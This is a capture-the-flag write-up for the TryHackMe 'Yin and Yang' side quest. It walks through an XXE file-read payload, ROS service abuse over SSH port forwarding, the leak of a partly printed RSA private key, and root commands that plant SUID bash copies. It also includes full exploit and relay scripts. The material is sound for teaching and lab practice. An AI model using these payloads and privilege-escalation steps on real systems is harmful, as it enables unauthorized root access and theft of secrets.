TryHackMe - Side Quest 2 Yin and Yang Writeup¶
Introduction¶
OS: Linux
URL: Side Quest 2 Yin
URL: Side Quest 2 Yang
Level: Hard
Hack two machines; use one machine to gain access to the other.
Finding the keycard¶
I'll begin by assuming you've already completed Day 5
of the main Advent Of Cyber 2024 task titled Day 5: SOC-mas XX-what-ee?
. If not, you can follow the linked video in the task to first complete it.
The last question in the task provides us a hint to look into any other open ports on the machine.
We know that /whishlist.php
is vulnerable to XXE using the payload below.
Let's try to find all active listening ports and established TCP connections on the machine by reading the /proc/net/tcp
file.
The product ID: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 25303 1 0000000000000000 100 0 0 10 0
1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 19100 1 0000000000000000 100 0 0 10 0
2: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 27013 1 0000000000000000 100 0 0 10 0
3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 27005 1 0000000000000000 100 0 0 10 0
4: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 25954 1 0000000000000000 100 0 0 10 0
5: 0100007F:8981 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 24558 1 0000000000000000 100 0 0 10 0
6: D75F0A0A:C022 03E0DC43:01BB 02 00000001:00000000 01:00000009 00000000 0 0 31173 2 0000000000000000 100 0 0 10 -1
7: D75F0A0A:BE7E 95411FAC:01BB 01 00000000:00000000 02:00000049 00000000 0 0 30391 2 0000000000000000 20 4 8 10 -1
is invalid.
The second column contains the IP:port of the listening ports/established connections. Let's write a simple script to extract the IP:port from the output.
import re
import socket
import struct
output = """The product ID: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 25303 1 0000000000000000 100 0 0 10 0
1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 19100 1 0000000000000000 100 0 0 10 0
2: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 27013 1 0000000000000000 100 0 0 10 0
3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 27005 1 0000000000000000 100 0 0 10 0
4: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 25954 1 0000000000000000 100 0 0 10 0
5: 0100007F:8981 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 24558 1 0000000000000000 100 0 0 10 0
6: D75F0A0A:C022 03E0DC43:01BB 02 00000001:00000000 01:00000009 00000000 0 0 31173 2 0000000000000000 100 0 0 10 -1
7: D75F0A0A:BE7E 95411FAC:01BB 01 00000000:00000000 02:00000049 00000000 0 0 30391 2 0000000000000000 20 4 8 10 -1
is invalid."""
for line in output.splitlines():
match = re.search(r'\d+: ([0-9A-F]{8}):([0-9A-F]{4}) ', line)
if not match:
continue
ip, port = match.group(1), match.group(2)
# check if the state is LISTEN
if line.split()[3] != '0A':
continue
ip = socket.inet_ntoa(struct.pack('<L', int(ip, 16)))
port = int(port, 16)
print(f"{ip}:{port}")
Run the script, and we see few ports listening on the machine.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ python check_ports.py
127.0.0.1:8080
127.0.0.53:53
127.0.0.1:3306
0.0.0.0:22
127.0.0.1:33060
127.0.0.1:35201
Port 8080 looks interesting, and it's likely an HTTP web server running on that port.
The main server is running Apache/2.4.41 (Ubuntu)
let's look into the Apache default configuration file /etc/apache2/sites-enabled/000-default.conf
to see if there are any sites/ports are published.
We get an error Failed to parse XML
when trying to include the file. This is likely due to the special chars in the file. Since the XXE is on a vulnerable PHP
application, we should be able to use php
filters to encode the contents into base64.
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf"> ]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>
Decode the base64 encoded output to get the contents of the file.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ echo "REDACTED" | base64 -d
<VirtualHost *:80>
[...SNIP...]
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
[...SNIP...]
</VirtualHost>
<VirtualHost 127.0.0.1:8080>
ServerName 127.0.0.1
ServerAdmin webmaster@localhost
DocumentRoot /var/www/ssrf
ErrorLog ${APACHE_LOG_DIR}/ssrf_error.log
CustomLog ${APACHE_LOG_DIR}/ssrf_access.log combined
</VirtualHost>
[...SNIP...]
Access port 8008
using XXE
┌──(kali㉿kali)-[~/THM/sq2]
└─$ echo "REDACTED" | base64 -d
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
[...SNIP...]
<a href="access.log">access.log</a></td><td align="right">2024-12-03 12:53 </td><td align="right">223 </td><td> </td></tr>
[...SNIP...]
<address>Apache/2.4.41 (Ubuntu) Server at localhost Port 8080</address>
</body></html>
Port 8080
is a basic index page with a link to access.log
file.
We get the link to keycard we can directly download the file from port 80
┌──(kali㉿kali)-[~/THM/sq2]
└─$ wget http://10.10.95.215/k3yZZZZZZZZZ/REDACTED.png
--2024-12-28 19:04:49-- http://10.10.95.215/k3yZZZZZZZZZ/REDACTED.png
Connecting to 10.10.95.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 86443 (84K) [image/png]
Saving to: ‘t2_sm1L3_4nD_w4v3_boyS.png’
t2_sm1L3_4nD_w4v3_boyS.png 100%[===========================================>] 84.42K 298KB/s in 0.3s
2024-12-28 19:04:50 (298 KB/s) - ‘REDACTED.png’ saved [86443/86443]
Recon¶
We are given SSH credentials for both machines.
I'll start by setting two env
vars yin
and yang
to the respective IP addresses of the machines.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ export yin=10.10.202.160
┌──(kali㉿kali)-[~/THM/sq2]
└─$ export yang=10.10.238.51
Run a full port nmap scan on both machines.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap -p- $yin -vv --min-rate=10000
PORT STATE SERVICE REASON
21337/tcp open unknown syn-ack ttl 60
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap $yin -sC -sV -vv -p 21337
PORT STATE SERVICE REASON VERSION
21337/tcp open http syn-ack ttl 60 Werkzeug httpd 0.16.1 (Python 3.8.10)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-title: Your Files Have Been Encrypted
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap -p- $yang -vv --min-rate=10000
PORT STATE SERVICE REASON
21337/tcp open unknown syn-ack ttl 60
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap $yang -vv -sC -sV -p 21337
PORT STATE SERVICE REASON VERSION
21337/tcp open http syn-ack ttl 60 Werkzeug httpd 0.16.1 (Python 3.8.10)
|_http-title: Your Files Have Been Encrypted
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
Both machines have only one port (21337
) open.
Both yin and yang on port 21337
have a ransomware note with a place to enter the decryption key.
The keycard password is accepted as the decryption key for both machines.
Let's scan the machine with nmap
again.
SSH ports on both machines are now open. Lets log in to the machines using the credentials provided.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ ssh yin@$yin
[email protected]'s password:
[...SNIP...]
yin@ip-10-10-202-160:~$ ls -la
total 40
drwxr-xr-x 4 yin yin 4096 Dec 5 01:07 .
drwxr-xr-x 4 root root 4096 Dec 4 04:27 ..
-rw-r--r-- 1 yin yin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 yin yin 3840 Dec 4 04:23 .bashrc
drwx------ 2 yin yin 4096 Nov 28 20:25 .cache
-rw-r--r-- 1 yin yin 807 Feb 25 2020 .profile
drwxrwxr-x 3 yin yin 4096 Dec 4 23:15 .ros
-rw------- 1 yin yin 6918 Dec 4 04:24 .viminfo
-rw-r--r-- 1 root root 54 Nov 28 21:42 where-to-find-yang.txt
yin@ip-10-10-202-160:~$ cat where-to-find-yang.txt
You can find YANG here: https://tryhackme.com/jr/yang
yin@ip-10-10-202-160:~$ sudo -l
Matching Defaults entries for yin on ip-10-10-202-160:
mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, always_set_home
User yin may run the following commands on ip-10-10-202-160:
(root) NOPASSWD: /catkin_ws/yin.sh
┌──(kali㉿kali)-[~/THM/sq2]
└─$ ssh yang@$yang
[email protected]'s password:
yang@ip-10-10-238-51:~$ ls -la
total 32
drwxr-xr-x 4 yang yang 4096 Dec 5 02:06 .
drwxr-xr-x 4 root root 4096 Dec 4 04:33 ..
-rw-r--r-- 1 yang yang 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 yang yang 3840 Dec 4 04:28 .bashrc
drwx------ 2 yang yang 4096 Nov 28 21:38 .cache
-rw-r--r-- 1 yang yang 807 Feb 25 2020 .profile
drwxrwxr-x 3 yang yang 4096 Dec 4 04:33 .ros
-rw------- 1 yang yang 703 Dec 4 04:34 .viminfo
yang@ip-10-10-238-51:~$ sudo -l
Matching Defaults entries for yang on ip-10-10-238-51:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User yang may run the following commands on ip-10-10-238-51:
(root) NOPASSWD: /catkin_ws/yang.sh
Both machines contain a folder named .ros
.
Yin
and Yang
each have a script located in the /catkin_ws/
directory that can be run as root
without a password.
Yin¶
I'll skip the initial enumeration on Yang
as the steps are identical to Yin
and knowing that Yin
is the key to solve Yang
(from solving the box prior). But the same steps apply to enumerating both machines.
Just trying to run the /catkin_ws/yin.sh
script as root
outputs a massage stating master node
on localhost:11311
might not be running.
yin@ip-10-10-62-75:~$ sudo /catkin_ws/yin.sh
[ERROR] [1735438580.712662]: Unable to immediately register with master node [http://localhost:11311]: master may not be running yet. Will keep trying.
.ros
folder in home directory contains a log folder.
yin@ip-10-10-62-75:~/.ros$ ls
log roscore-11311.pid rospack_cache_04654968594548113376
yin@ip-10-10-62-75:~/.ros$ cd log/
yin@ip-10-10-62-75:~/.ros/log$ ls
f6df61ea-b1f8-11ef-b77d-29fb64c99c22 fa0fcd0a-b1f8-11ef-b77d-29fb64c99c22 latest
yin@ip-10-10-62-75:~/.ros/log$ cd latest
yin@ip-10-10-62-75:~/.ros/log/latest$ ls
master.log roslaunch-ip-10-10-193-66-84215.log rosout-1-stdout.log rosout.log
Checking each log file, the roslaunch-ip-10-10-193-66-84215.log
contains some log information on how to start the master node
.
yin@ip-10-10-62-75:~/.ros/log/latest$ cat roslaunch-ip-10-10-193-66-84215.log
[...SNIP...]
[roslaunch.parent][INFO] 2024-12-04 04:33:57,875: ... parent XML-RPC server started
[roslaunch][INFO] 2024-12-04 04:33:57,875: master.is_running[http://ip-10-10-193-66:11311/]
[roslaunch][INFO] 2024-12-04 04:33:57,878: auto-starting new master
[roslaunch][INFO] 2024-12-04 04:33:57,878: create_master_process: rosmaster, /opt/ros/noetic/share/ros, 11311, 3, None, False
[roslaunch][INFO] 2024-12-04 04:33:57,878: process[master]: launching with args [['rosmaster', '--core', '-p', '11311', '-w', '3']]
[roslaunch.pmon][INFO] 2024-12-04 04:33:57,878: ProcessMonitor.register[master]
[roslaunch.pmon][INFO] 2024-12-04 04:33:57,878: ProcessMonitor.register[master] complete
[roslaunch][INFO] 2024-12-04 04:33:57,878: process[master]: starting os process
[...SNIP...]
Let's use the same command to run the master node
on localhost:11311
and then run the yin.sh
script.
//# We could run `rosmaster --core -p 11311 -w 3` but we can also use `roscore` which is a wrapper around `rosmaster`
yin@ip-10-10-62-75:~$ roscore
... logging to /home/yin/.ros/log/36ee53aa-c616-11ef-be5b-f356bc0e4411/roslaunch-ip-10-10-62-75-2234.log
Checking log directory for disk usage. This may take a while.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.
started roslaunch server http://ip-10-10-62-75:39303/
ros_comm version 1.16.0
SUMMARY
========
PARAMETERS
* /rosdistro: noetic
* /rosversion: 1.16.0
NODES
auto-starting new master
process[master]: started with pid [2242]
ROS_MASTER_URI=http://ip-10-10-62-75:11311/
setting /run_id to 36ee53aa-c616-11ef-be5b-f356bc0e4411
process[rosout-1]: started with pid [2252]
started core service [/rosout]
yin@ip-10-10-62-75:~$ sudo /catkin_ws/yin.sh
Note
Both the commands are run in different ssh sessions. You can either use tmux/screen or different ssh sessions depending on your preference.
Rerunning the yin.sh
script runs without any errors but doesn't output anything.
Let's head back over to the .ros/log/latest
directory and check the logs.
yin@ip-10-10-62-75:~/.ros/log/latest$ cat master.log
[rosmaster.master][INFO] 2024-12-29 19:03:40,924: Master initialized: port[11311], uri[http://ip-10-10-62-75:11311/]
[rosmaster.master][INFO] 2024-12-29 19:03:41,010: +PARAM [/run_id] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,011: +PARAM [/roslaunch/uris/host_ip_10_10_62_75__36823] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,102: +PARAM [/rosversion] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,103: +PARAM [/rosdistro] by /roslaunch
[...SNIP...]
rosmaster.master][INFO] 2024-12-29 19:03:42,591: +SUB [/rosout] /rosout http://ip-10-10-62-75:33525/
[rosmaster.master][INFO] 2024-12-29 19:03:56,628: +PUB [/messagebus] /yin http://ip-10-10-62-75:38497/
[rosmaster.master][INFO] 2024-12-29 19:03:56,725: +PUB [/rosout] /yin http://ip-10-10-62-75:38497/
[..SNIP...]
[rosmaster.master][INFO] 2024-12-29 19:03:56,731: +SERVICE [/svc_yang] /yin http://ip-10-10-62-75:38497/
[..SNIP...]
[rosmaster.master][INFO] 2024-12-29 19:04:19,558: +SUB [/messagebus] /rostopic_2004_1735499059424 http://ip-10-10-62-75:41129/
The master.log
file contains logs indicating there are some mqtt
like pub/sub
topics being created.
We can use the rostopic
command to list and subscribe to the topics.
yin@ip-10-10-62-75:~$ rostopic list
/messagebus
/rosout
/rosout_agg
yin@ip-10-10-62-75:~$ rostopic echo /messagebus
timestamp: "1735499424.7320056"
sender: "Yin"
receiver: "Yang"
action: 1
actionparams:
- touch /home/yang/yin.txt
feedback: "ACTION"
hmac: "jkGrCNtX3pcHgvNm/Jva77WNu4NVyiGT9l2cVe161hzgpBfibF4j3MDCpznCDRuPWTJFvaPpbl6x...[TRUNCATED]"
---
[...SNIP...]
Every few seconds a message is being published to the /messagebus
topic with the action to touch
a file /home/yang/yin.txt
.
Let's grep for messagebus
in /catkin_ws
script to see where it's referenced to see if we can see how the message is being published.
yin@ip-10-10-62-75:/catkin_ws$ grep -ir messagebus
src/yin/scripts/runyin.py: self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
src/yin/scripts/runyin.py: self.messagebus.publish(message)
grep: privatekey.pem: Permission denied
build/yin/catkin_generated/installspace/runyin.py: self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
build/yin/catkin_generated/installspace/runyin.py: self.messagebus.publish(message)
build/yin/catkin_generated/stamps/yin/runyin.py.stamp: self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
build/yin/catkin_generated/stamps/yin/runyin.py.stamp: self.messagebus.publish(message)
runyin.py¶
Let's have a look at the file /catkin_ws/src/yin/scripts/runyin.py
and understand each part of class Yin
self.messagebus
is aPublisher
object that publishes messages to themessagebus
topic.self.priv_key
is aRSA
private key object that is read from the/catkin_ws/privatekey.pem
file.self.secret
is a secret read from the/catkin_ws/secret.txt
file.self.service
is aService
object that listens for requests on thesvc_yang
topic and calls thehandle_yang_request
method when a request is received.
runyin.py | |
---|---|
req.secret
is checked to see if thesecret
sent in the request tosvc_yang
matches theself.secret
read from the file.- any command sent in the request
req.command
is executed usingos.system(action)
if the secret is valid.
sign_message
method takes amessage
object encodes all the contents of the message tobase64
generates aSHA256
hash of the message and signs the hash using theRSA
private key and returns the signed hmac.
craft_ping
method creates aComms
object with thetimestamp
,sender
,receiver
,action
,actionparams
,feedback
andhmac
fields set.send_pings
usesYin.craft_ping
method to create aComms
object with the receiver set toYang
and calls thesign_message
method to sign the message and then publishes the message to themessagebus
topic.
Yang¶
Follow similar enumeration on Yang
as we did on Yin
.
yang@ip-10-10-24-255:~$ rostopic list
/messagebus
/rosout
/rosout_agg
yang@ip-10-10-24-255:~$ rostopic echo /messagebus
But we do not receive any messages on the /messagebus
topic.
Let's see how the source of Yang
differs from Yin
.
yang@ip-10-10-24-255:/catkin_ws$ grep -ir messagebus
src/yang/scripts/runyang.py: self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
src/yang/scripts/runyang.py: rospy.Subscriber('messagebus', Comms, self.callback)
src/yang/scripts/runyang.py: self.messagebus.publish(reply)
[...SNIP...]
yang@ip-10-10-24-255:/catkin_ws$ cat src/yang/scripts/runyang.py
[...SNIP...]
runyang.py¶
The class Yang
__init__
is similar to class Yin
. The only exception being, instead of registering svc_yang
service, class Yang
subscribes to the messagebus
topic.
callback
method is called when a message is received on themessagebus
topic.- Checks that the receiver is
Yang
- further sends the message to
validate_message
method to check if the message is fromYin
. validate_message
method also checks if the timestamp is within a second of the current time.- Then check if the hamc is valid by generating the hamc signature and comparing it with the received hamc.
- If all checks pass, the commands in the
actionparams
are executed.
def callback(self, data):
[..SNIP...]
#Now request an action from Yin
self.yin_request()
#Send reply
reply = Comms()
reply.timestamp = str(rospy.get_time())
reply.sender = "Yang"
reply.receiver = "Yin"
reply.action = 2
reply.actionparams = []
reply.actionparams.append(self.priv_key_str)
reply.feedback = "Action Done"
reply.hmac = ""
reply = self.sign_message(reply)
self.messagebus.publish(reply)
def yin_request(self):
resp = ""
rospy.wait_for_service('svc_yang')
try:
service = rospy.ServiceProxy('svc_yang', yangrequest)
response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
except rospy.ServiceException as e:
print ("Failed: %s"%e)
resp = response.response
return resp
- Right after the command is executed in
callback
method,yin_request
method is called. yin_request
method waits for thesvc_yang
service to be available and then calls the service with thesecret
,command
,sender
andreceiver
.- once the call to yin_request is done, a new message to
/messagebus
is published with the contents ofself.priv_key_str
yang@ip-10-10-24-255:/catkin_ws/src/yang/srv$ cat yangrequest.srv
string secret
string command
string sender
string receiver
---
string response
So to leak both secret
and priv_key_str
we need to send a message that validates to True
in validate_message
method and then register a service svc_yang
to receive the secret
.
Leaking the priv_key_str¶
Stop roscore
and the /catkin_ws/yin.sh
script on Yin
yin@ip-10-10-165-204:~$ roscore
... logging to /home/yin/.ros/log/b2ea4aa8-c75c-11ef-92fc-0d9b9cd76bc3/roslaunch-ip-10-10-165-204-1529.log
Checking log directory for disk usage. This may take a while.
Press Ctrl-C to interrupt
[...SNIP...]
started core service [/rosout]
^C[rosout-1] killing on exit
[master] killing on exit
shutting down processing monitor...
... shutting down processing monitor complete
done
yin@ip-10-10-165-204:~$ sudo /catkin_ws/yin.sh
^C
yin@ip-10-10-165-204:~$ rostopic list
ERROR: Unable to communicate with master!
Only Yin
receives messages /messagebus
, but to leak the secret we need Yang
to receive those messages.
Let's forward the rosmaster
port 11311
from Yang
to Yin
using ssh
port forwarding. Allowing us to use rosmaster
running on Yang
inside Yin
.
Note
We could have just set an env var export ROS_MASTER_URI=http://<REMOTE_IP>:11311
to achieve the same result, but since env_reset
is set in the sudo
configuration we can't use sudo
with env
vars.
yin@ip-10-10-165-204:~$ ssh [email protected] -L 0.0.0.0:11311:0.0.0.0:11311
[email protected]'s password:
[...SNIP...]
//# note the below commands are run on `Yin`
yin@ip-10-10-165-204:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Process
LISTEN 0 128 0.0.0.0:11311 0.0.0.0:* users:(("ssh",pid=2831,fd=4))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
[...SNIP...]
yin@ip-10-10-165-204:~$ rostopic list
/messagebus
/rosout
/rosout_agg
yin@ip-10-10-165-204:~$ rosservice list
/rosout/get_loggers
/rosout/set_logger_level
/yang/get_loggers
/yang/set_logger_level
We can successfully connect to roscore
running on Yang
from Yin
.
Start the /catkin_ws/yin.sh
script. Since runyin.py
registers svc_yang
service, all the conditions for dumping the priv_key_str
are met, and we just need to echo the /messagebus
topic to get the priv_key_str
.
yin@ip-10-10-165-204:~$ sudo /catkin_ws/yin.sh
yin@ip-10-10-165-204:~$ rosservice list
/rosout/get_loggers
/rosout/set_logger_level
/svc_yang
/yang/get_loggers
/yang/set_logger_level
/yin/get_loggers
/yin/set_logger_level
yin@ip-10-10-165-204:~$ rostopic echo /messagebus
timestamp: "1735641420.5522885"
sender: "Yin"
receiver: "Yang"
action: 1
actionparams:
- touch /home/yang/yin.txt
feedback: "ACTION"
hmac: "RC6mvJZc8gP8vhjK4PfZ+lyM...[TRUNCATED]"
---
timestamp: "1735641419.7377985"
sender: "Yang"
receiver: "Yin"
action: 2
actionparams:
- '-----BEGIN RSA PRIVATE KEY-----
MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc
PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks
[...SNIP...]
-----END RSA PRIVATE KEY-----'
feedback: "Action Done"
hmac: "omGs1O5/v2H6k3ZiXy/ZzhcCTQGQg...[TRUNCATED]"
---
Copy the private key and remove all the extra line breaks and save it to a file.
yin@ip-10-10-165-204:~$ cat test.key
-----BEGIN RSA PRIVATE KEY-----
MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc
PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks
[...SNIP...]
//# A hacky way to remove extra lines and spaces using sed, Either use this command or do this yourself in your text editor.
yin@ip-10-10-165-204:~$ cat test.key | tr '\n' '\r' | sed 's/\r\r /\n/g' | tr '\r' '\n' > private.key
yin@ip-10-10-165-204:~$ cat private.key
-----BEGIN RSA PRIVATE KEY-----
MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc
PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks
[...SNIP...]
-----END RSA PRIVATE KEY-----
//# verify that the key is valid
yin@ip-10-10-165-204:~$ openssl rsa -in private.key -text -noout
RSA Private-Key: (3072 bit, 2 primes)
modulus:
00:b1:a5:03:78:b5:ee:88:5f:7f:7b:9d:d3:5e:ea:
[...SNIP...]
Pwn Yang¶
Now that we have the private.key
file we can use it to craft a message to Yang
by modifying the actionparams
to create a suid bash shell
Copy the /catkin_ws/src/yin/scripts/runyin.py
file to our local machine and modify it a little to change the path of the private key and the command to be executed.
yin@ip-10-10-165-204:~$ python3 pwn_yang.py
//# now check the /tmp directory on Yang
yang@ip-10-10-227-181:~$ ls /tmp/ -lh
total 1.2M
-rwsr-xr-x 1 root root 1.2M Dec 31 11:12 bash
yang@ip-10-10-227-181:~$ /tmp/bash -p
bash-5.0# id
uid=1002(yang) gid=1002(yang) euid=0(root) groups=1002(yang)
bash-5.0# cat /root/yang.txt
THM{REDACTED}
PWN Yin¶
Now that we are root on Yang
we can get the secret
from /catkin_ws/secret.txt
and use it to craft a message to Yin
to execute a command to create a suid bash shell.
Yin
Only checks for secret
as defined in Yin.handle_yang_request
and executes the command sent in action
parameter.
We can either use CLI to make the request or create a Python script to interact with the service.
#!/usr/bin/python3
import rospy
from yin.srv import yangrequest
rospy.init_node('pwn_yin', anonymous=True)
rospy.wait_for_service('svc_yang')
service_proxy = rospy.ServiceProxy('svc_yang', yangrequest)
response = service_proxy(
secret='REDACTED',
command='cp /bin/bash /tmp/bash2; chmod u+s /tmp/bash2',
sender='Yang',
receiver='Yin'
)
print("Response from service:", response.response)
yin@ip-10-10-165-204:~$ rosservice call svc_yang "secret: 'REDACTED'
> command: 'cp /bin/bash /tmp/bash; chmod u+s /tmp/bash'
> sender: 'Yang'
> receiver: 'Yin'"
response: "Action performed"
yin@ip-10-10-165-204:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1183448 Dec 31 11:28 /tmp/bash
yin@ip-10-10-165-204:~$ python3 pwn_yin.py
Response from service: Action performed
yin@ip-10-10-165-204:~$ ls -la /tmp/bash2
-rwsr-xr-x 1 root root 1183448 Dec 31 11:30 /tmp/bash2
yin@ip-10-10-165-204:~$ /tmp/bash2 -p
bash2-5.0# cat /root/yin.txt
THM{REDACTED}
And that's it we have completed the Yin and Yang
room on TryHackMe.
Extras¶
I initially did not think of port forwarding and instead solved this room with roscore
running on both Yin
and Yang
.
Used a Flask API server to forward messages from Yin
to Yang
.
Then wrote a script to register the svc_yang
service on Yang
to receive the secret simultaneously as we leak the priv_key_str
from Yin
.
Used the secret
to pwn Yin
first and then used pwn_yang.py
from above to root Yang
by reading the /catkin_ws/privatekey.pem
file.
I will dump the scripts below with no explanations do with them as you please.
Forwarder.py¶
Runs on Yin
to forward messages from /messagebus
to flask API server running on Yang
.
#!/usr/bin/python3
import rospy
import requests
import json
from yin.msg import Comms
class MessageForwarder:
def __init__(self):
# ROS setup
rospy.init_node("local_message_listener", anonymous=True)
# Subscribe to the local messagebus
self.local_subscriber = rospy.Subscriber("messagebus", Comms, self.forward_message)
# Flask server API endpoint
self.api_url = "http://10.10.211.87:5000/publish" # Replace with your Flask server's IP
def forward_message(self, msg):
# Prepare the message data for sending to the Flask server
message_data = {
'timestamp': msg.timestamp,
'hmac': msg.hmac
}
# log entries of msg
print("\n\nReceived message from local topic:")
rospy.loginfo(msg)
# Send the message to the Flask server
try:
response = requests.post(self.api_url, json=message_data)
# Check if the request was successful
if response.status_code == 200:
rospy.loginfo("Message forwarded to Flask server successfully.")
else:
rospy.logwarn(f"Failed to forward message. Status code: {response.status_code}")
except requests.exceptions.RequestException as e:
rospy.logerr(f"Error while forwarding message: {e}")
if __name__ == "__main__":
try:
forwarder = MessageForwarder()
rospy.spin()
except rospy.ROSInterruptException:
pass
FlaskServer.py¶
Flask server running on Yang
to receive messages from Yin
and publish them to the /messagebus
topic.
#!/usr/bin/python3
from flask import Flask, request, jsonify
import rospy
from yang.msg import Comms
import json
app = Flask(__name__)
# ROS setup for remote messagebus
rospy.init_node("flask_message_forwarder", anonymous=True)
remote_publisher = rospy.Publisher("messagebus", Comms, queue_size=10)
@app.route('/publish', methods=['POST'])
def publish_message():
try:
# Parse the JSON data from the request body
data = request.get_json()
# Create a new Comms message from the received data
message = Comms()
message.timestamp = str(data['timestamp'])
message.sender = "Yin"
message.receiver = "Yang"
message.action = 1
message.actionparams = ['touch /home/yang/yin.txt']
#message.actionparams.append(self.priv_key_str)
message.feedback = "ACTION"
message.hmac = data['hmac']
# Publish the message to the ROS messagebus
rospy.loginfo("\n\nForwarding message to remote ROS system")
rospy.loginfo(message)
remote_publisher.publish(message)
return jsonify({'status': 'Message forwarded to remote ROS system'}), 200
except Exception as e:
return jsonify({'error': str(e)}), 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
svc_yang.py¶
Registers the svc_yang
service on Yang
to receive the secret.
#!/usr/bin/python3
import rospy
from yin.srv import yangrequest
class YangServiceHandler:
def __init__(self):
# Initialize the ROS node
rospy.init_node('yang_service_listener', anonymous=True)
# Create the service listener for 'svc_yang'
self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
def handle_yang_request(self, req):
# Log the received request
rospy.loginfo(f"Received request:")
rospy.loginfo(f"Secret: {req.secret}")
rospy.loginfo(f"Command: {req.command}")
rospy.loginfo(f"Sender: {req.sender}")
rospy.loginfo(f"Receiver: {req.receiver}")
# Process the request (e.g., execute the command)
response = f"Action {req.command} performed by {req.sender} for {req.receiver}"
# Return a response
return response
if __name__ == '__main__':
try:
# Start the service handler
handler = YangServiceHandler()
rospy.spin() # Keep the node running
except rospy.ROSInterruptException:
pass